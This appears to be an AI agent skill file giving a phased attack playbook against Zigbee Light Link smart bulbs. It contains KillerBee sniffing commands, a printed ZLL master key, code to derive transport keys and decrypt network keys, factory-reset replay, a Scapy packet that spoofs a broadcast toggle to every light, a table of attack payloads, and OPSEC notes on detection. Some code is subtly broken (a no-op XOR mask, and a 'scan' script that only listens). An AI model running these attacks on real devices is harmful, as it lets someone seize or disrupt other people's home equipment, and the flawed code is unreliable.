- name
- zigbee-touchlink
- description
- Touchlink commissioning abuse on Zigbee Light Link (ZLL) devices using the well-known ZLL transport key, ZCL command injection (toggle/move/step), network key extraction, and factory reset via touchlink. Toolchain covers KillerBee, zbstumbler, zbreplay, and Sonoff Zigbee 3.0 Dongle E running Wireshark live capture.
- allowed-tools
- Bash Read Write
- metadata
- {"subdomain":"iot","when_to_use":"Zigbee, Touchlink, ZLL, ZCL, KillerBee, zbstumbler, zbreplay, Sonoff Zigbee dongle, IEEE 802.15.4, Zigbee network key, commissioning, factory reset, smart bulb, Philips Hue, IKEA Tradfri","tags":"zigbee, touchlink, zll, zcl, killerbee, iot, embedded, 802154","mitre_attack":"T1040, T1190, T1499.004, T1078.001"}
# Zigbee Touchlink Commissioning Abuse
> Zigbee Light Link (ZLL) defines a Touchlink commissioning mechanism
> intended for close-proximity pairing (≤20 cm). The procedure relies on
> a well-known, publicly documented transport key (ZLL Master Key published
> in the ZigBee Light Link spec). In practice it works at distances of
> several metres with a directional antenna, allowing an attacker to steal
> devices off an existing coordinator, factory-reset smart bulbs, or inject
> ZCL commands without joining the network.
## Prerequisites
- **Hardware**: Sonoff Zigbee 3.0 Dongle-E (CC2652P) with Z-Stack coordinator or
sniffer firmware, OR RZUSB (AT86RF233), OR ApiMote v4 (CC2531 based).
For highest sensitivity: HackRF + Zigbee SDR (gr-ieee802-15-4) — passive only.
- **Firmware options**:
- Sniffer: flash `CC2531_sniffer.hex` / `cc2652_sniffer.hex` (TI) — Wireshark
source, passive.
- Attack: flash `coordinator_20230507.hex` from Z-Stack 3.x — gives full TX.
- **Software**: KillerBee suite, Scapy with `scapy-radio`, Python 3.x.
```bash
# Install KillerBee (Debian/Kali):
git clone https://github.com/riverloopsec/killerbee
cd killerbee && pip install .
# Confirm dongle detected:
zbid
```
## Phase 1: Passive Channel Scan (zbstumbler)
```bash
# Scan all 802.15.4 channels (11-26) and enumerate PAN IDs, coordinators, devices.
zbstumbler -i /dev/ttyUSB0 | tee /tmp/zigbee_stumble.txt
# Capture all traffic on a discovered channel (e.g., channel 15) to pcap:
zbdump -i /dev/ttyUSB0 -c 15 -w /tmp/zigbee_ch15.pcap
# Live in Wireshark with the ZEP plugin:
wireshark -k -i lo # after running zbwireshark -i /dev/ttyUSB0 -c 15
```
Key fields to identify in pcap:
- **Frame Control** = `0x8841` (Data, ZigBee, PAN compress)
- **Cluster ID** = `0x1000` (ZLL Commissioning cluster)
- **Command ID** = `0x00` (Scan Request), `0x01` (Scan Response), `0x07` (Touchlink Reset)
## Phase 2: Decode the ZLL Well-Known Transport Key
The ZLL Master Key (published in Zigbee spec 11-0037-10) is:
```
ZLL Master Key: 9F 55 95 F1 02 57 C8 A9 65 73 AB 53 EE 2D 4C 0D
```
Derive per-device transport key:
```python
from Crypto.Cipher import AES
ZLL_MASTER_KEY = bytes.fromhex("9F5595F10257C8A96573AB53EE2D4C0D")
def derive_transport_key(transaction_id: bytes, response_id: bytes) -> bytes:
"""
ZLL key derivation: AES-ECB of (transactionId XOR responseId XOR mask) with master key.
Per ZigBee Lighting Profile spec section 8.7.
"""
data = bytes(a ^ b for a, b in zip(transaction_id + response_id,
b'\x00' * 8 + b'\x00' * 8))
cipher = AES.new(ZLL_MASTER_KEY, AES.MODE_ECB)
return cipher.encrypt(data)
# transaction_id and response_id come from the Scan Request / Scan Response frames.
```
## Phase 3: Touchlink Scan + Factory Reset
KillerBee includes `zbtouchlink` (or use the custom script below):
```bash
# Send Touchlink Scan Requests on all channels and listen for responses.
# A device that responds is susceptible to touchlink commands.
python3 - <<'EOF'
import time
from killerbee import KillerBee, PcapDumper
# Zigbee channel to target (scan 11-26 in production):
CHANNEL = 15
IFACE = "/dev/ttyUSB0"
kb = KillerBee(device=IFACE)
kb.set_channel(CHANNEL)
kb.sniffer_on()
print(f"[*] Listening on channel {CHANNEL}...")
while True:
frame = kb.pnext()
if frame and frame[0]:
data = frame[0]
# Check for ZLL Scan Response (Cluster 0x1000, Cmd 0x01)
if len(data) > 20:
print(f"[+] Frame: {data.hex()}")
EOF
```
Factory reset via `zbreplay` / custom ZLL Reset-to-factory-new:
```bash
# zbreplay replays a captured factory-reset frame at a target device.
# Capture a legitimate Touchlink reset first, then replay.
zbreplay -i /dev/ttyUSB0 -c 15 -f /tmp/touchlink_reset.pcap
# Or use zbfind to locate the device before resetting:
zbfind -i /dev/ttyUSB0 -c 15
```
## Phase 4: ZCL Command Injection (no network join required)
ZCL commands to the Scenes/On-Off cluster can be sent as broadcast or unicast
with the source address spoofed. No association to the PAN is required for
broadcast delivery on 802.15.4.
```python
from scapy.all import Dot15d4, Dot15d4Data, ZigbeeNWK, ZigbeeSecurityHeader, ZigbeeAppDataPayload
# scapy-zigbee or scapy-radio needed for ZigBee layers
# Toggle all On/Off devices in PAN (broadcast NWK dst 0xFFFF):
pkt = (
Dot15d4(fcf_frametype=1, fcf_srcaddrmode=2, fcf_destaddrmode=2,
dest_panid=0xDEAD, dest_addr=0xFFFF, src_addr=0x1234) /
ZigbeeNWK(frametype=0, proto_ver=2, discover_route=0,
destination=0xFFFF, source=0x1234, radius=1) /
ZigbeeAppDataPayload(frametype=1, cluster=0x0006,
profile=0x0104, dst_endpoint=0xFF, src_endpoint=0x01) /
bytes([0x01, 0x00, 0x02]) # ZCL: frame ctrl, seq, cmd=Toggle
)
# send via scapy raw socket on the 802.15.4 interface
```
Known ZCL attack payloads:
| Cluster | Command | Effect |
|---|---|---|
| 0x0006 On/Off | 0x02 Toggle | Flip all lights |
| 0x0008 Level Control | 0x00 Move to Level | Set brightness 0 (lights off) |
| 0x0003 Identify | 0x00 Identify | Blink device — confirms target |
| 0x0300 Color Control | 0x07 Move to Color Temp | Alter scene |
## Phase 5: Network Key Extraction via Touchlink
If a Touchlink inter-PAN key transport message is captured, the encrypted
NWK key can be decrypted using the derived transport key:
```python
from Crypto.Cipher import AES
def decrypt_nwk_key(encrypted_key: bytes, transport_key: bytes) -> bytes:
cipher = AES.new(transport_key, AES.MODE_ECB)
# ZLL key transport uses AES-ECB on the 16-byte encrypted key material.
return cipher.decrypt(encrypted_key)
```
With the plaintext NWK key, decrypt all subsequent traffic in Wireshark:
- Edit → Preferences → Protocols → ZigBee → Add decryption key.
## Evidence
```bash
EVIDENCE="/workspace/evidence/zigbee-touchlink/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/zigbee_ch15.pcap "$EVIDENCE/"
cp /tmp/zigbee_stumble.txt "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"
```
```python
kg_add_node(
kind="finding",
label=f"Zigbee Touchlink abuse on PAN {pan_id:#06x}",
props={
"key": f"zigbee-touchlink::{pan_id}",
"pan_id": pan_id,
"channel": channel,
"nwk_key_hex": nwk_key.hex() if nwk_key else None,
"touchlink_reset_success": True,
"source": "killerbee+scapy",
},
)
```
## OPSEC Notes
- Factory-reset is destructive and visible — the device drops off the
coordinator immediately. Only perform when explicitly authorized.
- ZCL broadcast toggle is detectable by the coordinator as spurious
traffic from an unregistered source address.
- Passive sniffing (zbdump) has zero RF footprint beyond receive.
- Touchlink operates in inter-PAN mode: you do NOT need to join the target's
PAN to send or receive ZLL commissioning frames.
- Channel 25 (2.475 GHz) is the Zigbee primary ZLL channel; channel 11
(2.405 GHz) is common for home automation. Always scan 11-26.
## References
- KillerBee: https://github.com/riverloopsec/killerbee
- Zigbee Light Link spec (ZLL transport key): ZigBee document 11-0037-10.
- Ronen et al. "IoT Goes Nuclear" (2016) — Hue worm via Touchlink at 100m range.
- Sonoff Zigbee 3.0 Dongle-E firmware: https://github.com/Koenkk/Z-Stack-firmware
Auf GitHub ansehen